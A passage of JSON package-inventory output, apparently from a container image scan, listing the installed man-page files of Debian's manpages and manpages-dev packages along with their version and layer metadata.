"/usr/share/man/man5/proc_pci.5.gz", "/usr/share/man/man5/proc_pid.5.gz", "/usr/share/man/man5/proc_pid_attr.5.gz", "/usr/share/man/man5/proc_pid_autogroup.5.gz", "/usr/share/man/man5/proc_pid_auxv.5.gz", "/usr/share/man/man5/proc_pid_cgroup.5.gz", "/usr/share/man/man5/proc_pid_clear_refs.5.gz", "/usr/share/man/man5/proc_pid_cmdline.5.gz", "/usr/share/man/man5/proc_pid_comm.5.gz", "/usr/share/man/man5/proc_pid_coredump_filter.5.gz", "/usr/share/man/man5/proc_pid_cpuset.5.gz", "/usr/share/man/man5/proc_pid_cwd.5.gz", "/usr/share/man/man5/proc_pid_environ.5.gz", "/usr/share/man/man5/proc_pid_exe.5.gz", "/usr/share/man/man5/proc_pid_fd.5.gz", "/usr/share/man/man5/proc_pid_fdinfo.5.gz", "/usr/share/man/man5/proc_pid_io.5.gz", "/usr/share/man/man5/proc_pid_limits.5.gz", "/usr/share/man/man5/proc_pid_map_files.5.gz", "/usr/share/man/man5/proc_pid_maps.5.gz", "/usr/share/man/man5/proc_pid_mem.5.gz", "/usr/share/man/man5/proc_pid_mountinfo.5.gz", "/usr/share/man/man5/proc_pid_mounts.5.gz", "/usr/share/man/man5/proc_pid_mountstats.5.gz", "/usr/share/man/man5/proc_pid_net.5.gz", "/usr/share/man/man5/proc_pid_ns.5.gz", "/usr/share/man/man5/proc_pid_numa_maps.5.gz", "/usr/share/man/man5/proc_pid_oom_score.5.gz", "/usr/share/man/man5/proc_pid_oom_score_adj.5.gz", "/usr/share/man/man5/proc_pid_pagemap.5.gz", "/usr/share/man/man5/proc_pid_personality.5.gz", "/usr/share/man/man5/proc_pid_projid_map.5.gz", "/usr/share/man/man5/proc_pid_root.5.gz", "/usr/share/man/man5/proc_pid_seccomp.5.gz", "/usr/share/man/man5/proc_pid_setgroups.5.gz", "/usr/share/man/man5/proc_pid_smaps.5.gz", "/usr/share/man/man5/proc_pid_stack.5.gz", "/usr/share/man/man5/proc_pid_stat.5.gz", "/usr/share/man/man5/proc_pid_statm.5.gz", "/usr/share/man/man5/proc_pid_status.5.gz", "/usr/share/man/man5/proc_pid_syscall.5.gz", "/usr/share/man/man5/proc_pid_task.5.gz", "/usr/share/man/man5/proc_pid_timers.5.gz", "/usr/share/man/man5/proc_pid_timerslack_ns.5.gz", "/usr/share/man/man5/proc_pid_uid_map.5.gz", "/usr/share/man/man5/proc_pid_wchan.5.gz", "/usr/share/man/man5/proc_profile.5.gz", "/usr/share/man/man5/proc_scsi.5.gz", "/usr/share/man/man5/proc_slabinfo.5.gz", "/usr/share/man/man5/proc_stat.5.gz", "/usr/share/man/man5/proc_swaps.5.gz", "/usr/share/man/man5/proc_sys.5.gz", "/usr/share/man/man5/proc_sys_abi.5.gz", "/usr/share/man/man5/proc_sys_debug.5.gz", "/usr/share/man/man5/proc_sys_dev.5.gz", "/usr/share/man/man5/proc_sys_fs.5.gz", "/usr/share/man/man5/proc_sys_kernel.5.gz", "/usr/share/man/man5/proc_sys_net.5.gz", "/usr/share/man/man5/proc_sys_proc.5.gz", "/usr/share/man/man5/proc_sys_sunrpc.5.gz", "/usr/share/man/man5/proc_sys_user.5.gz", "/usr/share/man/man5/proc_sys_vm.5.gz", "/usr/share/man/man5/proc_sysrq-trigger.5.gz", "/usr/share/man/man5/proc_sysvipc.5.gz", "/usr/share/man/man5/proc_tid_children.5.gz", "/usr/share/man/man5/proc_timer_list.5.gz", "/usr/share/man/man5/proc_timer_stats.5.gz", "/usr/share/man/man5/proc_tty.5.gz", "/usr/share/man/man5/proc_uptime.5.gz", "/usr/share/man/man5/proc_version.5.gz", "/usr/share/man/man5/proc_vmstat.5.gz", "/usr/share/man/man5/proc_zoneinfo.5.gz", "/usr/share/man/man5/protocols.5.gz", "/usr/share/man/man5/repertoiremap.5.gz", "/usr/share/man/man5/resolv.conf.5.gz", "/usr/share/man/man5/rpc.5.gz", "/usr/share/man/man5/securetty.5.gz", "/usr/share/man/man5/services.5.gz", "/usr/share/man/man5/shells.5.gz", "/usr/share/man/man5/slabinfo.5.gz", "/usr/share/man/man5/sysfs.5.gz", "/usr/share/man/man5/termcap.5.gz", "/usr/share/man/man5/tmpfs.5.gz", "/usr/share/man/man5/ttytype.5.gz", "/usr/share/man/man5/tzfile.5.gz", "/usr/share/man/man5/utmp.5.gz", "/usr/share/man/man6/intro.6.gz", "/usr/share/man/man7/address_families.7.gz", "/usr/share/man/man7/aio.7.gz", "/usr/share/man/man7/armscii-8.7.gz", "/usr/share/man/man7/arp.7.gz", "/usr/share/man/man7/ascii.7.gz", "/usr/share/man/man7/attributes.7.gz", "/usr/share/man/man7/boot.7.gz", "/usr/share/man/man7/bootparam.7.gz", "/usr/share/man/man7/bpf-helpers.7.gz", "/usr/share/man/man7/capabilities.7.gz", "/usr/share/man/man7/cgroup_namespaces.7.gz", "/usr/share/man/man7/cgroups.7.gz", "/usr/share/man/man7/charsets.7.gz", "/usr/share/man/man7/complex.7.gz", "/usr/share/man/man7/cp1251.7.gz", "/usr/share/man/man7/cp1252.7.gz", "/usr/share/man/man7/cpuset.7.gz", "/usr/share/man/man7/credentials.7.gz", "/usr/share/man/man7/ddp.7.gz", "/usr/share/man/man7/environ.7.gz", "/usr/share/man/man7/epoll.7.gz", "/usr/share/man/man7/fanotify.7.gz", "/usr/share/man/man7/feature_test_macros.7.gz", "/usr/share/man/man7/fifo.7.gz", "/usr/share/man/man7/futex.7.gz", "/usr/share/man/man7/glob.7.gz", "/usr/share/man/man7/hier.7.gz", "/usr/share/man/man7/hostname.7.gz", "/usr/share/man/man7/icmp.7.gz", "/usr/share/man/man7/inode.7.gz", "/usr/share/man/man7/inotify.7.gz", "/usr/share/man/man7/intro.7.gz", "/usr/share/man/man7/ip.7.gz", "/usr/share/man/man7/ipc_namespaces.7.gz", "/usr/share/man/man7/ipv6.7.gz", "/usr/share/man/man7/iso_8859-1.7.gz", "/usr/share/man/man7/iso_8859-10.7.gz", "/usr/share/man/man7/iso_8859-11.7.gz", "/usr/share/man/man7/iso_8859-13.7.gz", "/usr/share/man/man7/iso_8859-14.7.gz", "/usr/share/man/man7/iso_8859-15.7.gz", "/usr/share/man/man7/iso_8859-16.7.gz", "/usr/share/man/man7/iso_8859-2.7.gz", "/usr/share/man/man7/iso_8859-3.7.gz", "/usr/share/man/man7/iso_8859-4.7.gz", "/usr/share/man/man7/iso_8859-5.7.gz", "/usr/share/man/man7/iso_8859-6.7.gz", "/usr/share/man/man7/iso_8859-7.7.gz", "/usr/share/man/man7/iso_8859-8.7.gz", "/usr/share/man/man7/iso_8859-9.7.gz", "/usr/share/man/man7/kernel_lockdown.7.gz", "/usr/share/man/man7/keyrings.7.gz", "/usr/share/man/man7/koi8-r.7.gz", "/usr/share/man/man7/koi8-u.7.gz", "/usr/share/man/man7/landlock.7.gz", "/usr/share/man/man7/libc.7.gz", "/usr/share/man/man7/locale.7.gz", "/usr/share/man/man7/mailaddr.7.gz", "/usr/share/man/man7/man-pages.7.gz", "/usr/share/man/man7/man.7.gz", "/usr/share/man/man7/math_error.7.gz", "/usr/share/man/man7/mount_namespaces.7.gz", "/usr/share/man/man7/mq_overview.7.gz", "/usr/share/man/man7/namespaces.7.gz", "/usr/share/man/man7/netdevice.7.gz", "/usr/share/man/man7/netlink.7.gz", "/usr/share/man/man7/network_namespaces.7.gz", "/usr/share/man/man7/nptl.7.gz", "/usr/share/man/man7/numa.7.gz", "/usr/share/man/man7/operator.7.gz", "/usr/share/man/man7/packet.7.gz", "/usr/share/man/man7/path_resolution.7.gz", "/usr/share/man/man7/persistent-keyring.7.gz", "/usr/share/man/man7/pid_namespaces.7.gz", "/usr/share/man/man7/pipe.7.gz", "/usr/share/man/man7/pkeys.7.gz", "/usr/share/man/man7/posixoptions.7.gz", "/usr/share/man/man7/process-keyring.7.gz", "/usr/share/man/man7/pthreads.7.gz", "/usr/share/man/man7/pty.7.gz", "/usr/share/man/man7/queue.7.gz", "/usr/share/man/man7/random.7.gz", "/usr/share/man/man7/raw.7.gz", "/usr/share/man/man7/regex.7.gz", "/usr/share/man/man7/rtld-audit.7.gz", "/usr/share/man/man7/rtnetlink.7.gz", "/usr/share/man/man7/sched.7.gz", "/usr/share/man/man7/sem_overview.7.gz", "/usr/share/man/man7/session-keyring.7.gz", "/usr/share/man/man7/shm_overview.7.gz", "/usr/share/man/man7/signal-safety.7.gz", "/usr/share/man/man7/signal.7.gz", "/usr/share/man/man7/sock_diag.7.gz", "/usr/share/man/man7/socket.7.gz", "/usr/share/man/man7/spufs.7.gz", "/usr/share/man/man7/standards.7.gz", "/usr/share/man/man7/string_copying.7.gz", "/usr/share/man/man7/suffixes.7.gz", "/usr/share/man/man7/symlink.7.gz", "/usr/share/man/man7/system_data_types.7.gz", "/usr/share/man/man7/sysvipc.7.gz", "/usr/share/man/man7/tcp.7.gz", "/usr/share/man/man7/termio.7.gz", "/usr/share/man/man7/thread-keyring.7.gz", "/usr/share/man/man7/time.7.gz", "/usr/share/man/man7/time_namespaces.7.gz", "/usr/share/man/man7/udp.7.gz", "/usr/share/man/man7/udplite.7.gz", "/usr/share/man/man7/unicode.7.gz", "/usr/share/man/man7/units.7.gz", "/usr/share/man/man7/unix.7.gz", "/usr/share/man/man7/uri.7.gz", "/usr/share/man/man7/user-keyring.7.gz", "/usr/share/man/man7/user-session-keyring.7.gz", "/usr/share/man/man7/user_namespaces.7.gz", "/usr/share/man/man7/utf-8.7.gz", "/usr/share/man/man7/uts_namespaces.7.gz", "/usr/share/man/man7/vdso.7.gz", "/usr/share/man/man7/vsock.7.gz", "/usr/share/man/man7/x25.7.gz", "/usr/share/man/man7/xattr.7.gz", "/usr/share/man/man8/iconvconfig.8.gz", "/usr/share/man/man8/intro.8.gz", "/usr/share/man/man8/ld.so.8.gz", "/usr/share/man/man8/ldconfig.8.gz", "/usr/share/man/man8/sln.8.gz", "/usr/share/man/man8/tzselect.8.gz", "/usr/share/man/man8/zdump.8.gz", "/usr/share/man/man8/zic.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "manpages-dev@6.9.1-1", "Name": "manpages-dev", "Identifier": { "PURL": "pkg:deb/debian/manpages-dev@6.9.1-1?arch=all\u0026distro=debian-13.6", "UID": "d10a7949dd0ebd35" }, "Version": "6.9.1", "Release": "1", "Arch": "all", "SrcName": "manpages", "SrcVersion": "6.9.1", "SrcRelease": "1", "Maintainer": "Dr. Tobias Quathamer \u003ctoddy@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "manpages@6.9.1-1" ], "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "InstalledFiles": [ "/usr/share/lintian/overrides/manpages-dev", "/usr/share/man/man2/FAT_IOCTL_GET_VOLUME_ID.2const.gz", "/usr/share/man/man2/FAT_IOCTL_SET_ATTRIBUTES.2const.gz", "/usr/share/man/man2/FICLONE.2const.gz", "/usr/share/man/man2/FIDEDUPERANGE.2const.gz", "/usr/share/man/man2/FIONREAD.2const.gz", "/usr/share/man/man2/FS_IOC_SETFLAGS.2const.gz", "/usr/share/man/man2/FS_IOC_SETFSLABEL.2const.gz", "/usr/share/man/man2/NS_GET_NSTYPE.2const.gz", "/usr/share/man/man2/NS_GET_OWNER_UID.2const.gz", "/usr/share/man/man2/NS_GET_USERNS.2const.gz", "/usr/share/man/man2/PAGEMAP_SCAN.2const.gz", "/usr/share/man/man2/PR_CAPBSET_DROP.2const.gz", "/usr/share/man/man2/PR_CAPBSET_READ.2const.gz", "/usr/share/man/man2/PR_CAP_AMBIENT.2const.gz", "/usr/share/man/man2/PR_CAP_AMBIENT_CLEAR_ALL.2const.gz", "/usr/share/man/man2/PR_CAP_AMBIENT_IS_SET.2const.gz", "/usr/share/man/man2/PR_CAP_AMBIENT_LOWER.2const.gz", "/usr/share/man/man2/PR_CAP_AMBIENT_RAISE.2const.gz", "/usr/share/man/man2/PR_GET_AUXV.2const.gz", "/usr/share/man/man2/PR_GET_CHILD_SUBREAPER.2const.gz", "/usr/share/man/man2/PR_GET_DUMPABLE.2const.gz", "/usr/share/man/man2/PR_GET_ENDIAN.2const.gz", "/usr/share/man/man2/PR_GET_FPEMU.2const.gz", "/usr/share/man/man2/PR_GET_FPEXC.2const.gz", "/usr/share/man/man2/PR_GET_FP_MODE.2const.gz", "/usr/share/man/man2/PR_GET_IO_FLUSHER.2const.gz", "/usr/share/man/man2/PR_GET_KEEPCAPS.2const.gz", "/usr/share/man/man2/PR_GET_MDWE.2const.gz", "/usr/share/man/man2/PR_GET_NO_NEW_PRIVS.2const.gz", "/usr/share/man/man2/PR_GET_PDEATHSIG.2const.gz", "/usr/share/man/man2/PR_GET_SECCOMP.2.gz", "/usr/share/man/man2/PR_GET_SECUREBITS.2const.gz", "/usr/share/man/man2/PR_GET_SPECULATION_CTRL.2const.gz", "/usr/share/man/man2/PR_GET_TAGGED_ADDR_CTRL.2const.gz", "/usr/share/man/man2/PR_GET_THP_DISABLE.2const.gz", "/usr/share/man/man2/PR_GET_TID_ADDRESS.2const.gz", "/usr/share/man/man2/PR_GET_TIMERSLACK.2const.gz", "/usr/share/man/man2/PR_GET_TIMING.2const.gz", "/usr/share/man/man2/PR_GET_TSC.2const.gz", "/usr/share/man/man2/PR_GET_UNALIGN.2const.gz", "/usr/share/man/man2/PR_MCE_KILL.2const.gz", "/usr/share/man/man2/PR_MCE_KILL_CLEAR.2const.gz", "/usr/share/man/man2/PR_MCE_KILL_GET.2const.gz", "/usr/share/man/man2/PR_MCE_KILL_SET.2const.gz", "/usr/share/man/man2/PR_MPX_DISABLE_MANAGEMENT.2const.gz", "/usr/share/man/man2/PR_MPX_ENABLE_MANAGEMENT.2.gz", "/usr/share/man/man2/PR_PAC_RESET_KEYS.2const.gz", "/usr/share/man/man2/PR_SET_CHILD_SUBREAPER.2const.gz", "/usr/share/man/man2/PR_SET_DUMPABLE.2const.gz", "/usr/share/man/man2/PR_SET_ENDIAN.2const.gz", "/usr/share/man/man2/PR_SET_FPEMU.2const.gz", "/usr/share/man/man2/PR_SET_FPEXC.2const.gz", "/usr/share/man/man2/PR_SET_FP_MODE.2const.gz", "/usr/share/man/man2/PR_SET_IO_FLUSHER.2const.gz", "/usr/share/man/man2/PR_SET_KEEPCAPS.2const.gz", "/usr/share/man/man2/PR_SET_MDWE.2const.gz", "/usr/share/man/man2/PR_SET_MM.2const.gz", "/usr/share/man/man2/PR_SET_MM_ARG_START.2const.gz", "/usr/share/man/man2/PR_SET_MM_AUXV.2const.gz", "/usr/share/man/man2/PR_SET_MM_BRK.2const.gz", "/usr/share/man/man2/PR_SET_MM_EXE_FILE.2const.gz", "/usr/share/man/man2/PR_SET_MM_MAP.2const.gz", "/usr/share/man/man2/PR_SET_MM_START_BRK.2const.gz", "/usr/share/man/man2/PR_SET_MM_START_CODE.2const.gz", "/usr/share/man/man2/PR_SET_MM_START_DATA.2const.gz", "/usr/share/man/man2/PR_SET_MM_START_STACK.2const.gz", "/usr/share/man/man2/PR_SET_NAME.2const.gz", "/usr/share/man/man2/PR_SET_NO_NEW_PRIVS.2const.gz", "/usr/share/man/man2/PR_SET_PDEATHSIG.2const.gz", "/usr/share/man/man2/PR_SET_PTRACER.2const.gz", "/usr/share/man/man2/PR_SET_SECCOMP.2const.gz", "/usr/share/man/man2/PR_SET_SECUREBITS.2const.gz", "/usr/share/man/man2/PR_SET_SPECULATION_CTRL.2const.gz", "/usr/share/man/man2/PR_SET_SYSCALL_USER_DISPATCH.2const.gz", "/usr/share/man/man2/PR_SET_TAGGED_ADDR_CTRL.2const.gz", "/usr/share/man/man2/PR_SET_THP_DISABLE.2const.gz", "/usr/share/man/man2/PR_SET_TIMERSLACK.2const.gz", "/usr/share/man/man2/PR_SET_TIMING.2const.gz", "/usr/share/man/man2/PR_SET_TSC.2const.gz", "/usr/share/man/man2/PR_SET_UNALIGN.2const.gz", "/usr/share/man/man2/PR_SET_VMA.2const.gz", "/usr/share/man/man2/PR_SVE_GET_VL.2const.gz", "/usr/share/man/man2/PR_SVE_SET_VL.2const.gz", "/usr/share/man/man2/PR_TASK_PERF_EVENTS_DISABLE.2.gz", "/usr/share/man/man2/PR_TASK_PERF_EVENTS_ENABLE.2const.gz", "/usr/share/man/man2/TCSBRK.2const.gz", "/usr/share/man/man2/TCSETS.2const.gz", "/usr/share/man/man2/TCXONC.2const.gz", "/usr/share/man/man2/TIOCCONS.2const.gz", "/usr/share/man/man2/TIOCEXCL.2const.gz", "/usr/share/man/man2/TIOCLINUX.2const.gz", "/usr/share/man/man2/TIOCMSET.2const.gz", "/usr/share/man/man2/TIOCPKT.2const.gz", "/usr/share/man/man2/TIOCSCTTY.2const.gz", "/usr/share/man/man2/TIOCSETD.2const.gz", "/usr/share/man/man2/TIOCSLCKTRMIOS.2const.gz", "/usr/share/man/man2/TIOCSPGRP.2const.gz", "/usr/share/man/man2/TIOCSSOFTCAR.2const.gz", "/usr/share/man/man2/TIOCSTI.2const.gz", "/usr/share/man/man2/TIOCSWINSZ.2const.gz", "/usr/share/man/man2/TIOCTTYGSTRUCT.2const.gz", "/usr/share/man/man2/UFFDIO_API.2const.gz", "/usr/share/man/man2/UFFDIO_CONTINUE.2const.gz", "/usr/share/man/man2/UFFDIO_COPY.2const.gz", "/usr/share/man/man2/UFFDIO_POISON.2const.gz", "/usr/share/man/man2/UFFDIO_REGISTER.2const.gz", "/usr/share/man/man2/UFFDIO_UNREGISTER.2const.gz", "/usr/share/man/man2/UFFDIO_WAKE.2const.gz", "/usr/share/man/man2/UFFDIO_WRITEPROTECT.2const.gz", "/usr/share/man/man2/UFFDIO_ZEROPAGE.2const.gz", "/usr/share/man/man2/VFAT_IOCTL_READDIR_BOTH.2const.gz", "/usr/share/man/man2/_exit.2.gz", "/usr/share/man/man2/_syscall.2.gz", "/usr/share/man/man2/accept.2.gz", "/usr/share/man/man2/access.2.gz", "/usr/share/man/man2/acct.2.gz", "/usr/share/man/man2/add_key.2.gz", "/usr/share/man/man2/adjtimex.2.gz", "/usr/share/man/man2/alarm.2.gz", "/usr/share/man/man2/alloc_hugepages.2.gz", "/usr/share/man/man2/arch_prctl.2.gz", "/usr/share/man/man2/bdflush.2.gz", "/usr/share/man/man2/bind.2.gz", "/usr/share/man/man2/bpf.2.gz", "/usr/share/man/man2/brk.2.gz", "/usr/share/man/man2/cacheflush.2.gz", "/usr/share/man/man2/capget.2.gz", "/usr/share/man/man2/chdir.2.gz", "/usr/share/man/man2/chmod.2.gz", "/usr/share/man/man2/chown.2.gz", "/usr/share/man/man2/chroot.2.gz", "/usr/share/man/man2/clock_getres.2.gz", "/usr/share/man/man2/clock_nanosleep.2.gz", "/usr/share/man/man2/clone.2.gz", "/usr/share/man/man2/close.2.gz", "/usr/share/man/man2/close_range.2.gz", "/usr/share/man/man2/connect.2.gz", "/usr/share/man/man2/copy_file_range.2.gz", "/usr/share/man/man2/create_module.2.gz", "/usr/share/man/man2/delete_module.2.gz", "/usr/share/man/man2/dup.2.gz", "/usr/share/man/man2/epoll_create.2.gz", "/usr/share/man/man2/epoll_ctl.2.gz", "/usr/share/man/man2/epoll_wait.2.gz", "/usr/share/man/man2/eventfd.2.gz", "/usr/share/man/man2/execve.2.gz", "/usr/share/man/man2/execveat.2.gz", "/usr/share/man/man2/exit_group.2.gz", "/usr/share/man/man2/fallocate.2.gz", "/usr/share/man/man2/fanotify_init.2.gz", "/usr/share/man/man2/fanotify_mark.2.gz", "/usr/share/man/man2/fcntl.2.gz", "/usr/share/man/man2/flock.2.gz", "/usr/share/man/man2/fork.2.gz", "/usr/share/man/man2/fsync.2.gz", "/usr/share/man/man2/futex.2.gz", "/usr/share/man/man2/futimesat.2.gz", "/usr/share/man/man2/get_kernel_syms.2.gz", "/usr/share/man/man2/get_mempolicy.2.gz", "/usr/share/man/man2/get_robust_list.2.gz", "/usr/share/man/man2/getcpu.2.gz", "/usr/share/man/man2/getdents.2.gz", "/usr/share/man/man2/getdomainname.2.gz", "/usr/share/man/man2/getgid.2.gz", "/usr/share/man/man2/getgroups.2.gz", "/usr/share/man/man2/gethostname.2.gz", "/usr/share/man/man2/getitimer.2.gz", "/usr/share/man/man2/getpagesize.2.gz", "/usr/share/man/man2/getpeername.2.gz", "/usr/share/man/man2/getpid.2.gz", "/usr/share/man/man2/getpriority.2.gz", "/usr/share/man/man2/getrandom.2.gz", "/usr/share/man/man2/getresuid.2.gz", "/usr/share/man/man2/getrlimit.2.gz", "/usr/share/man/man2/getrusage.2.gz", "/usr/share/man/man2/getsid.2.gz", "/usr/share/man/man2/getsockname.2.gz", "/usr/share/man/man2/getsockopt.2.gz", "/usr/share/man/man2/gettid.2.gz", "/usr/share/man/man2/gettimeofday.2.gz", "/usr/share/man/man2/getuid.2.gz", "/usr/share/man/man2/getunwind.2.gz", "/usr/share/man/man2/getxattr.2.gz", "/usr/share/man/man2/idle.2.gz", "/usr/share/man/man2/init_module.2.gz", "/usr/share/man/man2/inotify_add_watch.2.gz", "/usr/share/man/man2/inotify_init.2.gz", "/usr/share/man/man2/inotify_rm_watch.2.gz", "/usr/share/man/man2/io_cancel.2.gz", "/usr/share/man/man2/io_destroy.2.gz", "/usr/share/man/man2/io_getevents.2.gz", "/usr/share/man/man2/io_setup.2.gz", "/usr/share/man/man2/io_submit.2.gz", "/usr/share/man/man2/ioctl.2.gz", "/usr/share/man/man2/ioctl_console.2.gz", "/usr/share/man/man2/ioctl_eventpoll.2.gz", "/usr/share/man/man2/ioctl_fat.2.gz", "/usr/share/man/man2/ioctl_fs.2.gz", "/usr/share/man/man2/ioctl_fsmap.2.gz", "/usr/share/man/man2/ioctl_kd.2.gz", "/usr/share/man/man2/ioctl_nsfs.2.gz", "/usr/share/man/man2/ioctl_pipe.2.gz", "/usr/share/man/man2/ioctl_tty.2.gz", "/usr/share/man/man2/ioctl_userfaultfd.2.gz", "/usr/share/man/man2/ioctl_vt.2.gz", "/usr/share/man/man2/ioperm.2.gz", "/usr/share/man/man2/iopl.2.gz", "/usr/share/man/man2/ioprio_set.2.gz", "/usr/share/man/man2/ipc.2.gz", "/usr/share/man/man2/kcmp.2.gz", "/usr/share/man/man2/kexec_load.2.gz", "/usr/share/man/man2/keyctl.2.gz", "/usr/share/man/man2/kill.2.gz", "/usr/share/man/man2/landlock_add_rule.2.gz", "/usr/share/man/man2/landlock_create_ruleset.2.gz", "/usr/share/man/man2/landlock_restrict_self.2.gz", "/usr/share/man/man2/link.2.gz", "/usr/share/man/man2/listen.2.gz", "/usr/share/man/man2/listxattr.2.gz", "/usr/share/man/man2/llseek.2.gz", "/usr/share/man/man2/lookup_dcookie.2.gz", "/usr/share/man/man2/lseek.2.gz", "/usr/share/man/man2/madvise.2.gz", "/usr/share/man/man2/mbind.2.gz", "/usr/share/man/man2/membarrier.2.gz", "/usr/share/man/man2/memfd_create.2.gz", "/usr/share/man/man2/memfd_secret.2.gz", "/usr/share/man/man2/migrate_pages.2.gz", "/usr/share/man/man2/mincore.2.gz", "/usr/share/man/man2/mkdir.2.gz", "/usr/share/man/man2/mknod.2.gz", "/usr/share/man/man2/mlock.2.gz", "/usr/share/man/man2/mmap.2.gz", "/usr/share/man/man2/mmap2.2.gz", "/usr/share/man/man2/modify_ldt.2.gz", "/usr/share/man/man2/mount.2.gz", "/usr/share/man/man2/mount_setattr.2.gz", "/usr/share/man/man2/move_pages.2.gz", "/usr/share/man/man2/mprotect.2.gz", "/usr/share/man/man2/mq_getsetattr.2.gz", "/usr/share/man/man2/mremap.2.gz", "/usr/share/man/man2/msgctl.2.gz", "/usr/share/man/man2/msgget.2.gz", "/usr/share/man/man2/msgop.2.gz", "/usr/share/man/man2/msync.2.gz", "/usr/share/man/man2/nanosleep.2.gz", "/usr/share/man/man2/nfsservctl.2.gz", "/usr/share/man/man2/nice.2.gz", "/usr/share/man/man2/open.2.gz", "/usr/share/man/man2/open_by_handle_at.2.gz", "/usr/share/man/man2/open_how.2type.gz", "/usr/share/man/man2/openat2.2.gz", "/usr/share/man/man2/outb.2.gz", "/usr/share/man/man2/pause.2.gz", "/usr/share/man/man2/pciconfig_read.2.gz", "/usr/share/man/man2/perf_event_open.2.gz", "/usr/share/man/man2/perfmonctl.2.gz", "/usr/share/man/man2/personality.2.gz", "/usr/share/man/man2/pidfd_getfd.2.gz", "/usr/share/man/man2/pidfd_open.2.gz", "/usr/share/man/man2/pidfd_send_signal.2.gz", "/usr/share/man/man2/pipe.2.gz", "/usr/share/man/man2/pivot_root.2.gz", "/usr/share/man/man2/pkey_alloc.2.gz", "/usr/share/man/man2/poll.2.gz", "/usr/share/man/man2/posix_fadvise.2.gz", "/usr/share/man/man2/prctl.2.gz", "/usr/share/man/man2/pread.2.gz", "/usr/share/man/man2/process_madvise.2.gz", "/usr/share/man/man2/process_vm_readv.2.gz", "/usr/share/man/man2/ptrace.2.gz", "/usr/share/man/man2/query_module.2.gz", "/usr/share/man/man2/quotactl.2.gz", "/usr/share/man/man2/read.2.gz", "/usr/share/man/man2/readahead.2.gz", "/usr/share/man/man2/readdir.2.gz", "/usr/share/man/man2/readlink.2.gz", "/usr/share/man/man2/readv.2.gz", "/usr/share/man/man2/reboot.2.gz", "/usr/share/man/man2/recv.2.gz", "/usr/share/man/man2/recvmmsg.2.gz", "/usr/share/man/man2/remap_file_pages.2.gz", "/usr/share/man/man2/removexattr.2.gz", "/usr/share/man/man2/rename.2.gz", "/usr/share/man/man2/request_key.2.gz", "/usr/share/man/man2/restart_syscall.2.gz", "/usr/share/man/man2/rmdir.2.gz", "/usr/share/man/man2/rt_sigqueueinfo.2.gz", "/usr/share/man/man2/s390_guarded_storage.2.gz", "/usr/share/man/man2/s390_pci_mmio_write.2.gz", "/usr/share/man/man2/s390_runtime_instr.2.gz", "/usr/share/man/man2/s390_sthyi.2.gz", "/usr/share/man/man2/sched_get_priority_max.2.gz", "/usr/share/man/man2/sched_rr_get_interval.2.gz", "/usr/share/man/man2/sched_setaffinity.2.gz", "/usr/share/man/man2/sched_setattr.2.gz", "/usr/share/man/man2/sched_setparam.2.gz", "/usr/share/man/man2/sched_setscheduler.2.gz", "/usr/share/man/man2/sched_yield.2.gz", "/usr/share/man/man2/seccomp.2.gz", "/usr/share/man/man2/seccomp_unotify.2.gz", "/usr/share/man/man2/select.2.gz", "/usr/share/man/man2/select_tut.2.gz", "/usr/share/man/man2/semctl.2.gz", "/usr/share/man/man2/semget.2.gz", "/usr/share/man/man2/semop.2.gz", "/usr/share/man/man2/send.2.gz", "/usr/share/man/man2/sendfile.2.gz", "/usr/share/man/man2/sendmmsg.2.gz", "/usr/share/man/man2/set_mempolicy.2.gz", "/usr/share/man/man2/set_thread_area.2.gz", "/usr/share/man/man2/set_tid_address.2.gz", "/usr/share/man/man2/seteuid.2.gz", "/usr/share/man/man2/setfsgid.2.gz", "/usr/share/man/man2/setfsuid.2.gz", "/usr/share/man/man2/setgid.2.gz", "/usr/share/man/man2/setns.2.gz", "/usr/share/man/man2/setpgid.2.gz", "/usr/share/man/man2/setresuid.2.gz", "/usr/share/man/man2/setreuid.2.gz", "/usr/share/man/man2/setsid.2.gz", "/usr/share/man/man2/setuid.2.gz", "/usr/share/man/man2/setup.2.gz", "/usr/share/man/man2/setxattr.2.gz", "/usr/share/man/man2/sgetmask.2.gz", "/usr/share/man/man2/shmctl.2.gz", "/usr/share/man/man2/shmget.2.gz", "/usr/share/man/man2/shmop.2.gz", "/usr/share/man/man2/shutdown.2.gz", "/usr/share/man/man2/sigaction.2.gz", "/usr/share/man/man2/sigaltstack.2.gz", "/usr/share/man/man2/signal.2.gz", "/usr/share/man/man2/signalfd.2.gz", "/usr/share/man/man2/sigpending.2.gz", "/usr/share/man/man2/sigprocmask.2.gz", "/usr/share/man/man2/sigreturn.2.gz", "/usr/share/man/man2/sigsuspend.2.gz", "/usr/share/man/man2/sigwaitinfo.2.gz", "/usr/share/man/man2/socket.2.gz", "/usr/share/man/man2/socketcall.2.gz", "/usr/share/man/man2/socketpair.2.gz", "/usr/share/man/man2/splice.2.gz", "/usr/share/man/man2/spu_create.2.gz", "/usr/share/man/man2/spu_run.2.gz", "/usr/share/man/man2/stat.2.gz", "/usr/share/man/man2/statfs.2.gz", "/usr/share/man/man2/statx.2.gz", "/usr/share/man/man2/stime.2.gz", "/usr/share/man/man2/subpage_prot.2.gz", "/usr/share/man/man2/swapon.2.gz", "/usr/share/man/man2/symlink.2.gz", "/usr/share/man/man2/sync.2.gz", "/usr/share/man/man2/sync_file_range.2.gz", "/usr/share/man/man2/syscall.2.gz", "/usr/share/man/man2/syscalls.2.gz", "/usr/share/man/man2/sysctl.2.gz", "/usr/share/man/man2/sysfs.2.gz", "/usr/share/man/man2/sysinfo.2.gz", "/usr/share/man/man2/syslog.2.gz", "/usr/share/man/man2/tee.2.gz", "/usr/share/man/man2/time.2.gz", "/usr/share/man/man2/timer_create.2.gz", "/usr/share/man/man2/timer_delete.2.gz", "/usr/share/man/man2/timer_getoverrun.2.gz", "/usr/share/man/man2/timer_settime.2.gz", "/usr/share/man/man2/timerfd_create.2.gz", "/usr/share/man/man2/times.2.gz", "/usr/share/man/man2/tkill.2.gz", "/usr/share/man/man2/truncate.2.gz", "/usr/share/man/man2/umask.2.gz", "/usr/share/man/man2/umount.2.gz", "/usr/share/man/man2/uname.2.gz", "/usr/share/man/man2/unimplemented.2.gz", "/usr/share/man/man2/unlink.2.gz", "/usr/share/man/man2/unshare.2.gz", "/usr/share/man/man2/uselib.2.gz", "/usr/share/man/man2/userfaultfd.2.gz", "/usr/share/man/man2/ustat.2.gz", "/usr/share/man/man2/utime.2.gz", "/usr/share/man/man2/utimensat.2.gz", 